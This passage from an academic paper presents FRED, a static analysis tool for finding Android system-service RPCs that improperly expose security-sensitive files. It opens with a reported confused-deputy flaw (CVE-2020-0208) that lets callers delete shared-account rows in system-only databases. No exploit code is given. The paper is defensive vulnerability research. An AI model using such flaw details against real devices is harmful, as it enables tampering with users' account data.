call to nativeOpen. Propagating constant string information
shows access to two files: /data/system_ce/[userId]/accou-
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nts_ce.db and /data/system_de/[userId]/accounts_de.db

(where [userId] is the RPC argument). Ultimately, removeS-
haredAccountAsUser deletes rows in these files to remove the
shared accounts of a specified user. It is a confused deputy, be-
cause both files are only accessible by system UID processes,
and it does not ensure the removal is safe (e.g., by calling
isAccountManagedByCaller). We reported this vulnerability
to Google and were assigned CVE-2020-0208.

FRED seeks to semi-automatically identify such file-based
confused deputy vulnerabilities within Android’s system ser-
vices. Fully-automated identification of such vulnerabilities
requires modeling the semantics of all safety checks that oc-
cur on the path to file access. Doing so generically is not
tractable. Instead FRED seeks to reduce the search space
from the over 6,000 RPC entry points (Android 10) to the
smaller set of RPC entry points that access security-sensitive
files, which we term candidate RPC entry points.

Definition 1 (Candidate RPC entry points). Let E be the set
of all methods handling binder interfaces registered as system
services with Android’s Service Manager. Let CFGe be the
inter-procedural control flow graph of e ∈ E. We note that
CFGe stops when it encounters a call to another e′ ∈ E. The
set of candidate RPC entry points Ec ⊆ E contains all e such
that CFGe accesses (e.g., opens) a security-sensitive file.

We note that the access of a security-sensitive file may
be a primary function of the RPC entry points, or it may be
ancillary to performing a primary functionality (e.g., reading
configuration). Differentiating primary function from ancil-
lary function requires modeling the semantics of the RPC
entry point’s functionality, and heuristics to do so may miss
vulnerabilities. Therefore, we do not explicitly attempt to
differentiate it via program analysis. Furthermore, manual
inspection is ultimately required to determine if a candidate
RPC entry point contains an improper file re-delegation.

Definition 2 (Improper file re-delegation). Let e ∈ Ec be a
candidate RPC entry point. Let f be a security-sensitive file
(or directory) accessed by e. Let c be a caller of e, where c
does not have privilege to access f . Then e has an improper
file re-delegation if c can violate the secrecy or integrity of f .

We note that whether or not the secrecy or integrity of
f is violated is contextual to the semantics of the service
functionality. An RPC entry point may safely allow a caller
to read or modify a part of a file related to the caller. The
violation may also be subjective with respect to the purpose.

3 Overview

FRED seeks to semi-automatically identify improper file re-
delegation by Android’s system services by automating the
discovery of candidate RPC entry points and then using man-
ual inspection to determine if the secrecy or integrity of files is

violated. Conceptually, FRED operates by (1) traversing the
call graph from RPC entry points to methods that access files
(e.g., java.io.FileInputStream), and then (2) performing a
backwards data flow analysis from the file path arguments to
determine their values from either constant strings or RPC ar-
guments. It then compares the access control policy for those
files with the access control policy of the RPC entry point.
Performing this static program analysis requires overcoming
the following research challenges.

• Android system developers use a variety of file access
method APIs. The backwards data flow analysis to deter-
mine file paths starts at the code instruction that invokes
a file access method. If this invocation is within a generic
wrapper API, the data flow analysis will not be specific
to the RPC entry point.

• File paths are built from many parts, which are not al-
ways available to the analysis. Paths are frequently con-
structed using a variety of system environment variables,
as well as path and string builder APIs. When the analy-
sis cannot identify constant values for all parts, it should
be as precise as possible to match concrete file paths.

• Java-based services call native methods through JNI.
RPC entry points registered as system services call 387
unique JNI methods in Android 10. Files paths and calls
to file access methods may only exist within native code,
requiring the analysis to span both the Java and C/C++
portions of services.

Figure 2 shows the overall flow of our approach consisting
of the following high-level steps.
Step 1 - Identify File Access Methods: Knowledge of the
specific methods used to access files provides more pre-
cise mapping of RPC entry points to file paths. For exam-
ple, attempting to perform a backwards data flow analysis
from a generic Java API file method may significantly over-
approxiate file paths when that Java API file method is called
indirectly via a generic Android API file methods. We use a
combination of manual review, program analysis, and man-
ual refinement to identify four types of file methods: libc
file methods, JNI file methods, Java API file methods, and
Android API file methods. While not fully automated, the
manual steps are largely one-time efforts and require minimal
effort to transition to a new Android version (e.g,. transition-
ing from Android 9 to Android 10 took less than 5 hours).
Step 2 - Identify Accessed Sensitive Files: For each RPC
entry point, FRED identifies the set of security-sensitive files
that it accesses. This step begins by walking the call graph
from the RPC entry point to all of the file methods identified
in Step 1. FRED then performs a backwards inter-procedural
data flow analysis from the file methods to identify file paths
that flow to it. FRED analyzes the Java and native code por-
tions of the RPC entry point separately using Soot [29,43] and
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Figure 2: Overview of FRED’s static program analysis process

angr [39], respectively, and then identifies which JNI meth-
ods are called by the RPC entry point. For Java code, where
string construction is more intricate, FRED derives an inter-
mediate representation that describes the string construction.
This intermediate representation is then converted into regular
expressions for file paths. For native code, where string con-
struction is based on variants of strcpy, FRED simply derives
the full file paths. Finally, these regular expressions and file
paths are matched to a list of security-sensitive files from a
real device. For the purposes of this paper, we consider a file
to be security sensitive if the UID or GID is system or the
GID corresponds to a GID mapped to an Android permission.

Note that our approach primarily identifies when files are
opened. It does not attempt to differentiate read and write
access. First, read and write operations are typically methods
invoked on objects returned from the open call. Tracking
these objects can be imprecise and cause FRED to miss file
accesses. Second, the read and write methods of file access
wrappers are unknown and require additional manual effort to
identify. Given that we found the number of candidate RPC
entry points for file open was manageable (see Section 5), and
manual inspection is needed anyway (Step 4), there was no
need to build this additional analysis.

Step 3 - Re-Delegation Analysis: Candidate RPC entry
points provide indirect file access in ways that may or may
not be safe. First, FRED determines if and how each RPC
entry point can be called by a third-party application using
information and techniques developed for ACMiner [22] and
ARF [23]. ACMiner uses Soot to statically identify inconsis-
tent access control checks between similar RPC entry points,
and ARF builds on ACMiner to identify re-delegation be-
tween RPC entry points. FRED uses ACMiner’s mapping
of RPC entry points to permissions as input. It also adopts
several of ARF’s heuristics to determine if the RPC entry
point can only be accessed by system services (e.g., UID
checks as the first conditional). Finally, for each RPC entry
point accessible to third-party applications, FRED combines
(a) permission requirements with (b) the Unix permissions for
the security sensitive files accessed by the RPC entry point
(Step 2). It produces the set of candidate RPC entry points.

Step 4 - Manual Inspection: Since it is not practical to cap-
ture all of the ways in which an RPC entry point may allow
safe access to sensitive files, FRED relies on manual inspec-
tion to identify improper file-redelegation. Since the total
number of candidate RPC entry points is relatively small for
Android 10, an expert can review how each RPC entry point
uses sensitive files. We also identified several heuristics to
further reduce this list, incorporating them into Step 3. Fi-
nally, the manual inspection should also consult SELinux
policy to determine if (a) the service can access the given
file and (b) a third-party application can invoke the service.
In our study, these additional SELinux checks were simple
to confirm manually and no discovered vulnerabilities were
limited by SELinux policy. Future versions of FRED could
incorporate SELinux policy checks into the pipeline.
Alternate Approaches: While FRED uses static program
analysis to help discover improper file re-delegation, alterna-
tive approaches exist for identifying the regular expressions
of file paths accessed by RPC entry points. Dynamic anal-
ysis provides evidence that files are accessed during execu-
tion; however, code coverage and test case generation are
frequently limiting factors for dynamic approaches. Recently,
Centaur [32] proposed phased concrete-to-symbolic execu-
tion (PC2SE) to avoid state space explosion during the initial-
ization phase of Android’s system services. This optimized
symbolic execution is a promising direction for future work;
however, its dependence on concrete execution within an em-
ulator limits its application to non-AOSP firmware images.
We apply FRED to non-AOSP firmware in Section 5.

4 Design

This section details the design of FRED following the first
three steps described in Section 3.

4.1 Identifying File Methods
FRED seeks to identify the highest abstraction level possible
for file methods in order to best match the potential file paths
to the RPC entry points. Figure 3 shows four data flow paths
of interest. First, Figure 3a depicts when the file path origi-
nates in native code and is either directly or indirectly passed
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Figure 3: Four data flow paths in which file paths arrive as the arguments to libc file methods.

to a libc file methods. Next, Figure 3b depicts when the file
path originates in Java code and is passed to a JNI method
that is not a generic file method. Finally, Figures 3c and 3d
depict when the file paths are passed to the Java or Android
API file methods designed as generic file methods.

4.1.1 Libc File Methods

Standard libc file methods are well-known and defined in a
handful of header files, including stdio.h, fcntl.h, unist-
d.h, sys/stat.h, and stdlib.h. Libc file methods can be
distinguished from other methods by their arguments. Specif-
ically, a libc file method has either a string file path or a file
descriptor as an argument. We manually explored the approx-
imately 400 methods in these header files and identify 70 libc
file methods (e.g., fopen, open, rename, and unlink).

Android also uses Fortify [9] to ensure developers properly
use standard libc methods. Fortify wraps the standard libc
methods at compile time with methods that perform safety
checks at both runtime and compile time. Since FRED ana-
lyzes compiled native binaries (Section 4.3), these Fortified
libc methods must also be included in our list of libc file meth-
ods. Our manual investigation identified 6 additional libc file
methods for Android 10.0.0.

4.1.2 JNI File Methods

To find the JNI file methods, FRED first uses Soot [29, 43]
to extract a list of all JNI methods. Each method is then
processed to add back in argument variable names by extract-
ing them from the Java source code using features available
in the standard javac compiler [34]. Since many JNI file
methods have names similar to the libc file methods they
invoke, we use keywords from the file methods determined
in Section 4.1.1 (e.g., open, read, write, link, unlink, and
remove) along with their synonyms to identify potential JNI
file methods. We then identified the JNI file methods by
further filtering the resulting methods using their arguments,
looking for methods with argument names or types such as
file, path, fd, and fileDescriptor. If the Java source code
for the operating system is not available, such as in OEM

builds of Android, we decompile the Java code of the OEM
build and manually inspect the call sites of the JNI methods
to determine the arguments purpose from context in the code.

4.1.3 API File Methods

As shown in Figure 3, two classes of API file methods exist:
1) standard Java API methods, and 2) Android API methods
that make use of the standard Java API methods while provid-
ing additional functionality. FRED identifies these API file
methods using the JNI file methods identified in Section 4.1.2.
Intuitively, FRED begins with the set of all API methods
in Android. It then traverses the call graph from each API
method to find a path to a JNI file method. However, given
how heavily interconnected Android’s API methods are, re-
lying only on the occurrence of JNI file methods in the call
graph to identify API file methods results in many false pos-
itives. Therefore, we use an iterative process with manual
refinement to improve precision.
Extracting API Methods: FRED extracts the complete set
of the Android API methods available to both third-party
applications and system developers from the framework Jar
file from an AOSP build. Java language abstractions (e.g.,
abstract classes and interfaces) complicate the identification
of callable methods. For example, java.nio.file.FileSy-
stem is an abstract class and only defines private methods;
however, class implementations are accessible through static
methods in the class java.nio.file.FileSystems. To con-
sider such overriding methods, FRED uses Soot [29, 43] to
load and extract the classes and methods within the Jar file.
It then uses Soot’s class hierarchy analysis (CHA) [12] of all
the classes and methods, including additional methods that
override methods from the current set of API methods.
Identifying API File Methods: FRED performs a reaching
analysis on the call graph of each API with calls to file meth-
ods as sinks. Soot’s CHA over-approximates the runtime
call graph, introducing edges between methods that do not
exist at runtime. As such, FRED’s reaching analysis over-
approximates the actual API file methods.

To reduce over-approximation, FRED uses the following
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semi-automated process. (1) FRED performs a reaching anal-
ysis on the API methods, reporting an API as a possible file
method if at least one sink is encountered during the reaching
analysis. (2) The source code of the reported APIs is exam-
ined to determine if they are actually file methods. (3) Based
on this inspection, API methods are placed in either an ex-
clude list (if not a file method) or an include list (if a file
method). (4) The process is repeated from step (1), ignoring
the methods in both the exclude and include lists and repeat-
ing until all reported API methods have been examined. We
note that iteration is required due to the heavily interconnected
nature of the API methods.

This semi-automated process is completed twice: first for
Java API file methods and then for Android API file methods.
The identification Java API file methods only include those
API in java.* classes. The identification of Android API file
methods additionally uses Java API file methods as sinks.

4.2 Extracting File Paths Used in Java Code

For each RPC entry point, FRED identifies all calls to file
methods. It then performs a backwards inter-procedural data
flow analysis to identify the file paths passed to those file
methods. We now describe FRED’s data flow analysis in Java
code. Section 4.3 discusses C/C++ code called through JNI.

Java file paths are represented by the three key classes:
java.lang.String, java.io.File, or java.nio.file.Path,
where File and Path are wrappers for a String representation
of the file path. These wrappers use a combination of class
constructors and methods to specify the String value. There-
fore, extracting the file paths used in the file methods can
be reduced to reconstructing strings. To extract all the pos-
sible file paths accessed for a given RPC entry point, FRED
performs a backwards inter-procedural data flow analysis
from the variable containing the representation of the file path
opened by a file method to the RPC entry point.

Since complete file paths cannot always be determined via
static analysis, FRED creates regular expressions to match the
concrete security sensitive file paths identified in Section 4.4.
However, before generating these regular expressions, FRED
captures these partial file paths using an intermediate expres-
sion generated during the data flow analysis.

4.2.1 Intermediate Expressions

FRED uses intermediate expressions to represent both file
paths and metadata (e.g., source method and statement) for
each expression part. The metadata aids post-processing, mak-
ing it possible to detect situations not handled by the data flow
analysis, and to simplify the expressions when transforming
them to regular expressions.

FRED’s intermediate expressions are trees that join string
segments using boolean decisions. Each node in an interme-
diate expression tree is either a Leaf or a Branch. As shown

Table 1: Building Blocks for Intermediate Expressions

Node Name Type Description
Constant Leaf A Java primitive or string constant value.
Any Leaf Represents a value that could not be determined.
Unknown Leaf Represents a unexpected outcome in the analysis.
PlaceHolder Leaf A placeholder for a value that is being computed.
Append Branch Concatenates the values of its children.
Or Branch Represents the possibility that any one of its chil-

dren is a valid value.
Loop Branch Indicates the existence of a loop.
Parent Branch The value is the parent path of its child’s value.
Name Branch The value is the file name of its child’s value.
EnvVar Branch Represents a value retrieved from the environment.

Its child represents the key used to get the value.
SysVar Branch Represents a value retrieved from the system prop-

erties. Its child is the key used to retrieve the value.

in Table 1, each Leaf node is sub-divided into Constant, Any,
Unknown, and PlaceHolder. A Constant node identifies lit-
eral constants hard-coded into the Java source code. An Any
node represents a value that could not be determined from the
source code. Examples of Any nodes include values repre-
senting a UserId, package name, time stamp, or array value.
In Section 4.2.3, these values resolve to regular expressions
of either .* or \d+. In contrast, an Unknown node indicates
the data flow analysis encountered a situation that it could not
handle. Finally, a PlaceHolder node is used for values that
have not yet been computed by the data flow analysis. The
occurrence of Unknown and PlaceHolder nodes in the final
intermediate expression output indicates that the data flow
analysis needs modification to handle a special case.

Branch nodes are primarily either an Append or an Or node.
An Append node represents a boolean AND operation, where
child nodes are concatenated in the order listed. The Append
node is specifically designed to handle the concatenation of
strings and other values that commonly occur when a file path
is constructed in Java source code. In contrast, an Or node
represent a boolean OR operation and captures when the data
flow analysis encounters a variable with multiple possible
values. There are also several other subtypes of Branch nodes.
Section 4.2.2 describes them in more detail.

4.2.2 Data Flow Analysis

FRED performs a backwards inter-procedural data flow anal-
ysis to determine possible values for the file paths passed as
arguments to file methods invoked by Java-based RPC en-
try points. The sink for this backwards data flow analysis is
the file path argument. For many file methods, the sink is
a string (i.e., java.lang.String). When a file methods has
multiple string arguments, it is difficult to know which ar-
gument is the file path. Fortunately, the regular expressions
produced for non-file paths will not match any concrete files
from the file system. Therefore FRED conservatively de-
termines values for all string arguments. For file methods
that are passed non-string file paths (e.g., java.io.File and
java.nio.file.Path), FRED first performs use-def analysis
from the argument to identify the location of the constructor,
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which is passed a string. For this discussion, this constructor
can be viewed as the sink for the data flow analysis.

At a high level, FRED determines the possible values of
file paths by annotating instructions in the Inter-procedural
Control Flow Graph (ICFG) of the Android framework with
intermediate expressions. This process begins by annotating
the data flow sink (i.e., file path argument) with a Place-
Holder node. FRED then performs a inter-procedural use-def
analysis to traverse the ICFG backwards, using CHA [12]
where necessary. If the definition of the argument is a con-
stant value, the PlaceHolder node is replaced with a Constant
node that includes the value. However, there are various sce-
narios when the definition is not a constant. In these cases,
FRED annotates the definition with a new PlaceHolder node
and recursively1 attempts to determine the value for this new
PlaceHolder node. Once the value for a PlaceHolder node
is determined, the recursive call returns the resulting inter-
mediate expression to the earlier invocation, populating its
PlaceHolder node, and possibly combining multiple inter-
mediate expressions with Append or Or branch nodes. We
note that while FRED identifies the values for each sink se-
quentially, it retains the annotations on the ICFG to avoid
resolving them multiple times.

As this recursive algorithm proceeds, there are frequently
multiple PlaceHolder nodes annotated on the ICFG at any
point in time. FRED leverages this fact to handle loops, en-
suring that the value for a PlaceHolder node is only ever
computed once. Specifically, FRED constructs a graph of
PlaceHolder nodes where an edge between two PlaceHolder
nodes occurs when one references the other in its computing
expression. FRED then uses Johnson’s algorithm [28] for
detecting elementary circuits to locate simple cycles in the
graph. When this occurs, the PlaceHolder node referencing
the head of the simple cycle is replaced with a Loop node.
Empirically, we found that Loop nodes are little more than a
source of noise in our analysis. Therefore, FRED currently
removes Loop nodes when transforming intermediate expres-
sions into regular expressions (Section 4.2.3).

There are various scenarios when the use-def analysis for
a PlaceHolder node does not find a constant at the defini-
tion. FRED handles a variety of special cases including string
builders, path builders, directory listings, and parent path
and file name access methods. FRED also handles envi-
ronment variables and system properties by identifying the
string-based keys used to look up these values. Finally, FRED
handles specific fields in Android framework classes by per-
forming a def-use analysis to determine all possible assign-
ment sites for the framework. This information is later used
during the backwards data flow analysis to combine possible
values. Appendix A details each of these cases.

1While we describe the algorithm as recursive to simplify discussion, it
is in fact tail-recursive and our implementation is iterative.

4.2.3 Regular Expression Transformation

After FRED identifies intermediate expressions for the argu-
ments to file methods, it transforms them into regular expres-
sions. This transformation is performed as follows.
Step 1 (Remove Loops): FRED removes all Loop nodes
from intermediate expressions and any empty Branch nodes
that result. We empirically found that the loops captured by
our data flow analysis did not actually influence the construc-
tion of the file paths within the code. As such, Loop nodes
can be safely removed from intermediate expressions.
Step 2 (Resolve System and Environmental Variables):
To resolve system properties, FRED uses the various .prop

files of the Android system (e.g., /default.prop and /system-

/build.prop) to lookup the value based on the key determined
during data flow analysis. To resolve environmental variables,
FRED uses adb shell echo ${VARIABLE} to get their values.
Step 3 (Resolve UserId Variables): Android supports mul-
tiple physical users. It is common for file paths to include the
UserId of the current physical user to separate user specific
files. To avoid unnecessary Any nodes, we replace UserId
with the string “0”, which is the UserID for the primary user
(and the only user on our test devices).
Step 4 (Resolve TVInputManagerService Regex): The
TVInputManagerService contains two entry points that open
file paths in the /dev directory based on a regular expression.
For these entry points, FRED extracts the regular expression
used to match files and replaces the Any node with the ex-
tracted expressions.
Step 5 (Convert to DNF): FRED transforms the AND and
OR logic of Append and Or nodes into disjunctive normal
form (DNF), maintaining the order of the append operations
throughout the transformation. This process flattens the tree
and simplifies file path dependent transformations (e.g., de-
termining the parent or file name of a existing file path).
Step 6 (Resolve Parent and File Names): With the interme-
diate expression in DNF and the remaining constants resolved,
FRED can evaluate the Parent and Name branch nodes. At
this point, Parent and Name nodes typically have a single
Append child that concatenates parts of a path. For this Ap-
pend node, FRED locates the last occurrence of the ‘/’ path
separator. Parent nodes are replaced with a new Append node
containing all the children that occur before the last ‘/’ from
the previous Append node. Any text after the ‘/’ within the
node that contains the last occurrence of ‘/’ is removed. Name
nodes are replaced with a new Append node containing all the
children that occur after the last ‘/’ from the previous Append
node. Any text before the ‘/’ within the node that contains the
last occurrence of ‘/’ is removed. When the child of a Parent
or Name node is an Any node, the Parent or Name node is
simply replaced with the Any node.
Step 7 (Combine and Normalize): After the previous step,
the intermediate expression only contains Constant, Any, Ap-
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pend, and Or nodes. All adjacent Constant nodes under an
Append node are concatenated into a single Constant node.
Similarly, all adjacent Any nodes under an Append node are
replaced with a single Any node. The single Any node is
only set to \d+ if all of the Any nodes under the Append are
\d+. Otherwise, a .* Any node is used. Finally, duplicate and
trailing ‘/’ characters are removed from Constant nodes.

Step 8 (Duplicates Removal): The DNF form of the inter-
mediate expression may cause a Or node to have multiple
children that resolve to the same regular expression value.
FRED removes these duplicates.

Step 9 (Regular Expression Creation): In the final step,
FRED creates the regular expression. Constant nodes are
string values. Any nodes are either .* or \d+, which was
determined during data flow analysis. The children of Append
nodes are concatened. Finally, the children of Or nodes are
combined by inserting ‘|’ between each node.

4.3 Extracting File Paths Used in Native Code

Android’s Java-based RPC entry points often use the Java
Native Interface to invoke code written in C/C++. Figure 3
shows two scenarios that are not covered by the Java analysis
described in Section 4.2. Both scenarios occur when a JNI
method that is not a generic file method calls a libc file method.
The first scenario defines the file path string within C/C++
code (Figure 3a), whereas the second scenario passes the file
path string from Java to C/C++ code (Figure 3b). FRED
extracts these file paths from binary .so files using angr [39].

Identifying JNI Methods in Native Code: While the nat-

ive keyword identifies JNI methods in Java code, the corre-
sponding C/C++ function is not clearly annotated in either the
source or binary code. The C/C++ name also does not always
match the Java name (e.g., method overloading). For each
.so file, we use angr to traverse the CFG from all exposed
library functions to identify calls to jniRegisterNativeMeth-

ods. We then use angr’s symbolic execution engine to identify
the array of JNINativeMethod structures passed as a parame-
ter. This structure provides a mapping from the Java method
signature to a function pointer in the .so file. We traverse
the array to identify the function address of the C/C++ han-
dler for each JNI method. In a small number of cases, we
found function addresses to be NULL and used function name
matching as a fallback. As the function name resolution was
verified to be correct for all such NULL address cases, we leave
additional address resolution techniques to future work.

Identifying File Paths: FRED first traverses the ICFG from
the JNI method handler to identify any calls to libc file meth-
ods (Section 4.1.1). When a file method is found, FRED uses
angr’s Reaching Definition Analysis (RDA) to determine the
possible values for the relevant file path arguments. To reduce
the search space, FRED only includes nodes in the variable’s
backward slices as potential sources. For each variable defini-

tion source, FRED determines if the value originates within
the C/C++ code or if it is passed from Java. If it originates
in C/C++ code, FRED extracts the constant string. Note that
angr correctly propagates strings through standard libc func-
tions (e.g., strcpy) and therefore automatically handles string
construction. We did not encounter the more complicated
string construction methods found in the Java code.

Finally, FRED outputs a JSON file mapping each Java JNI
method name to the file paths used in file methods, including
when the path originates in Java. FRED then uses Soot’s call
graph from RPC entry points to JNI calls to supplement the
file paths identified in Section 4.2.

4.4 Security-Sensitive File Paths

FRED’s re-delegation analysis (Section 4.5) matches the file
paths from Sections 4.2 and 4.3 with concrete file paths on a
device. Using concrete file paths both reduces noise and helps
determine if a re-delegation is possible on a given device. We
further consider only security-sensitive concrete file paths to
limit manual inspection to areas of potential vulnerabilities.

FRED uses a real device to extract the concrete file paths
and file access control policy. Specifically, FRED executes
adb shell ls -laRZ as root on a rooted device to extract this
information. FRED then processes the file system informa-
tion to resolve symbolic links, taking care to avoid circular
paths. In doing so, FRED ignores symbolic links in paths
starting with /sys/.*/subsystem and /proc/.*/fd as these
all point back to the root of the file system. We considered
statically extracting files from the firmware image using Big-
MAC [26]; however, it has very limited ability to identify
files in /data, which contains many security-sensitive files
that match file paths determined by FRED.

Finally, FRED classifies each concrete file and directory as
security-sensitive based on the file owner and group. Specif-
ically, we observe that most system services run as system

and Android has multiple files in /system/etc/permissions

that define GIDs that are automatically given to applications
granted specific Android permissions. Therefore, a path is
marked security sensitive if it has a owner or group of system,
or the group corresponds to an Android permission GID.

4.5 Re-Delegation Detection

FRED’s re-delegation analysis identifies a set of candidate
RPC entry points (Definition 1) for manual inspection. FRED
focuses on exploitation by third-party applications as these
represent the most significant risk. Malicious applications and
services included in OEM builds are outside the scope of this
paper. While it is possible for exploited system applications
to exploit confused deputies, the interactions between system
applications and system services have been considered by
prior work [23, 24, 46].
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Re-Delegation of System Files: For each RPC entry point
that accesses a system UID or GID file or directory, FRED
checks if the RPC entry point’s authorization checks contain
at least one system-level permission (i.e., those permissions
without a protection level of normal, dangerous, instant, run-
time, or pre23). If so, FRED excludes the RPC entry point
from the candidate set. RPC entry points can also be restricted
based on specific PIDs, UIDs, and GIDs. Similar to ARF [23],
FRED checks if the first conditional statement is a check for
a special UID, PID, or GID, and if the RPC entry point in-
cludes an authorization check that restricts it to special callers
(e.g., calling getActiveAdminWithPolicyForUidLocked() in
the DevicePolicyManagerService). If so, FRED excludes the
RPC entry point. The remaining RPC entry points that access
system UID or GID files and directories are candidates.

Re-Delegation of Other Files: FRED also considers files
and directories with a GID that maps to an Android permis-
sion. An RPC entry point is a candidate for manual inspection
if the permissions mapped to a file’s GID is not a subset of
the permissions checked by the RPC entry point. Similar to
system files, FRED excludes RPC entry points that are not
accessible to third-party applications.

Reducing Manual Inspection: While performing manual
inspection of the AOSP Android 10.0.0, we developed two
methods to systematically reduce the number of candidate
RPC entry points that require manual inspection.

System-Specified Values - We discovered a number of un-
resolved Any nodes that are the result of values that are both
specific to the caller and cannot be influenced by the caller
(e.g., application name, data path, and code path). As such,
a file path constructed of such components is unique to the
caller, implying the caller is intended to have access to these
resources. Since these Any nodes caused the regular expres-
sions to match the majority of file paths within the file system,
they were excluded before matching security-sensitive files.

Safe File Method Callers - We also found that file methods
accessing security-sensitive files were often called from the
same method. Reviewing these methods, we found that many
of them could only be called in safe ways. In total, we found
41 unique callers of file methods where the file being accessed
could not be influenced or have its data retrieved by any entry
point. We exclude the regular expressions steaming from
these 41 sinks from the output of FRED.

5 Evaluation

This section demonstrates FRED’s utility by applying it to
three Android firmware images and investigates potential
vulnerabilities. Recall that FRED automates the discovery
of candidate RPC entry points (Definition 1) and manual
investigation is required to determine if a given candidate
RPC entry point has improper file re-delegation (Definition 2).

5.1 Experimental Setup
Our current implementation of FRED was designed for AOSP
version 10.0.0_r1 (i.e., API 29) built for a Pixel 3a device. We
previously ran FRED on AOSP version 9.0.0_r11 for a Pixel
3 device, identifying the same vulnerabilities and comparable
findings as those highlighted this section. We also ran FRED
on two additional Android 10 firmware images. Our study
included the following three devices.

• AOSP Pixel 3a running a user debug build of Android
10 r1. This device represents the primary target used
when developing FRED.

• Google Pixel 3a running Android 10 build QQ3A.20-
0805.001. This device represents a target close to our
original target, demonstrating FRED’s ability to run on
firmware images without source code. No changes were
required to run FRED on this target.

• Samsung S20 running Android 10 build QP1A.19071-
1.020. This device has significant differences from our
original target. Running FRED on this target required
modifications to ACMiner’s list of methods to not an-
alyze to address call graph imprecision that prevented
analysis from completing on our computing resources.
We also added 88 file methods identified by re-running
FRED’s semi-automated API file method analysis.

Our analysis was run on a Dell R611 server with an Intel
Xeon E5-2620 V3 (2.40 GHz) processor and 128 GB RAM
running VMware ESXi. A single VM running Ubuntu 18.04.3
and OpenJDK 1.8.0_171 was given full host resources.

ACMiner took approximately 1 hour and 45 minutes to
extract authorization checks of RPC entry points for the AOSP
Pixel 3a. FRED took approximately 10 minutes to construct
a complete list of the security sensitive file paths, 1 hour and
16 minutes to extract the intermediate expressions from Java
code, 15 minutes to extract file paths from native code, and
12 minutes to convert the intermediate expressions to regular
expressions and identify candidate RPC entry points. For the
Google Pixel 3a, all stages of the analysis had a runtime that
was virtually the same as that of the AOSP Pixel 3a. However,
as a result of the increased code base and the significant
increase in the number of RPC entry points, the runtime of
FRED on the Samsung S20 doubled to approximately 4 hours
when extracting authorization checks and 2 hours and 45
minutes when extracting the intermediate expressions from
Java code. All other stages had virtually the same runtime.

5.2 FRED Characterization
We initially analyzed an AOSP Pixel 3 running Android 9.0.0
(the current version when we began our work). We then
migrated to different builds of Android 10. The following
discussion focuses on the Android 10 builds. However, we
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Table 2: Characterization of Program Analysis

AOSP
Pixel 3
(9.0.0)

AOSP
Pixel 3a
(10.0.0)

Google
Pixel 3a
(10.0.0)

Samsung
S20

(10.0.0)
# API Methods 65,508 73,073 73,461 83,346
# JNI Methods 5,176 5,416 5,419 7,023
# JNI File Methods 368 360 360 360
# Java API File Methods 907 888 888 888
# Android API File Methods 962 1,068 1,087 1,155
# Total File Methods 2,237 2,316 2,335 2,403
# Total RPC Entry Points 5,337 6,287 6,304 12,169
# RPCs with File Methods 1,966 2,927 2,985 4,163
# File Methods in RPCs 661 602 717 766
# JNI Methods in RPCs 365 387 390 860
# Sec. Sensitive File Paths 139,463 157,074 56,434 56,559

include general statics for Android 9.0.0 in Table 2 to provide
context as we discuss the minimal manual effort required to
migrate FRED between different versions of Android.

5.2.1 File Methods in Practice

JNI File Methods: The procedure in Section 4.1.2 took 24
hours to identify the JNI file methods from a total of 5,176 JNI
methods for AOSP 9.0.0. The process only took an additional
hour for the 240 JNI methods added to AOSP 10.0.0. As
Google 10.0.0 only added 3 JNI methods over AOSP 10.0.0,
it only took a few minutes. However, the added 1,607 JNI
methods of the Samsung S20 device took an additional 3
hours to evaluate. As shown in Table 2, we identified 368
JNI file methods for AOSP 9.0.0 which was reduced to 360
JNI file methods for AOSP 10.0.0 because of changes in the
code of the Java API. We did not find any additional JNI file
methods for either the Google or Samsung devices.
API File Methods: While the semi-automated procedure
for identifying API file methods (Section 4.1.3) may appear
manually intensive, it is largely a one-time cost with minimal
additional manual effort needed to transition to a new version
or build. For AOSP 9.0.0, the process took approximately 96
hours to identify the API file methods from a total of 65,508
API methods. However, the process only took an additional
5 hours to consider the 7,565 API methods added in AOSP
10.0.0. As there was a minimal addition of 388 API methods
for Google 10.0.0 compared to AOSP 10.0.0, the process only
took an additional 30 minutes and no adjustments were made
manually. However, the additional 10,273 API Methods for
the Samsung S20 device took an additional 7 hours.

Table 2 shows that for AOSP 9.0.0, out of the possible
65,508 API methods, FRED identified 2,237 file methods
consisting of 368 JNI file methods, 907 Java API file methods,
and 962 Android API file methods. For AOSP 10.0.0, out
of the possible 73,073 API methods, number of file methods
increased to 2,316 despite a decrease in the number JNI file
methods (360) and Java API file methods (888). This decrease
in JNI and Java API file methods was a result of modifications
made to the Java API in Android 10. Across different builds of

the same version, we observed no changes in the JNI and Java
API file methods. All changes were in the Android API for
the Google 10.0.0 and Samsung devices which increased the
total number of file methods to 2,335 and 2,403 respectively.
RPC Entry Points Accessing Files: Using these lists of file
methods, FRED identified 1,966 RPC entry points containing
calls to 661 unique file methods for AOSP 9.0.0. For AOSP
10.0.0, the number of RPC entry points increased to 2,927
while the number of unique file methods decreased to 602.
As shown in Table 2, the Google 10.0.0 and Samsung devices
both saw an increase in the RPC entry points and the unique
file methods called by them over those in AOSP 10.0.0.

5.2.2 Characterizing Security Sensitive Files Paths

As discussed in Section 4.4, a file path is considered secu-
rity sensitive if it has a UID or GID of system, or a GID
corresponding to an Android permission. Table 2 illustrates
the number of security sensitive files identified for each de-
vice. Both AOSP 9.0.0 and AOSP 10.0.0 devices contain over
130,000 security sensitive file paths, while both the Google
and Samsung devices have around 56,000 security sensitive
file paths. The difference results from the AOSP images being
built with the user debug flag (providing root access). The
user debug flag also provides a more permissive SELinux
policy for adb, allowing it to view file paths that are normally
restricted by production builds.

5.2.3 Reducing Candidate RPC Entry Points

For AOSP 10.0.0, the file path extraction procedure (Sec-
tion 4.2) produced 7,331 unique intermediate expressions
spanning 2,927 unique RPC entry points and reducing to 462
unique regular expressions. Table 3 shows there was only a
minor change in these numbers for the Google device; how-
ever, the Samsung device saw a significant increase in all
three. This difference is likely attributed to there being al-
most double the number of RPC entry points for the Samsung
device compared to AOSP 10.0.0 (Table 2).

Table 3 also shows the reduction after using the regular
expressions to match security-sensitive files and applying
the refinements to reduce manual inspection. AOSP 10.0.0
contains 327 unique intermediate expressions spanning 179
unique RPC entry points and reducing to 63 unique regular
expressions that match 738 unique security sensitive file paths.
Table 4 characterizes the number of intermediate expressions
removed by each reduction method. As shown, the most
significant reduction in intermediate expressions is a result
of our list of 41 file method callers predetermined to be safe.
Table 5 shows the number of intermediate expressions that
when transformed into regular expressions did not match any
security sensitive file paths.

Finally, Table 3 shows the remaining RPC entry points
requiring manual inspection after the re-delegation logic is
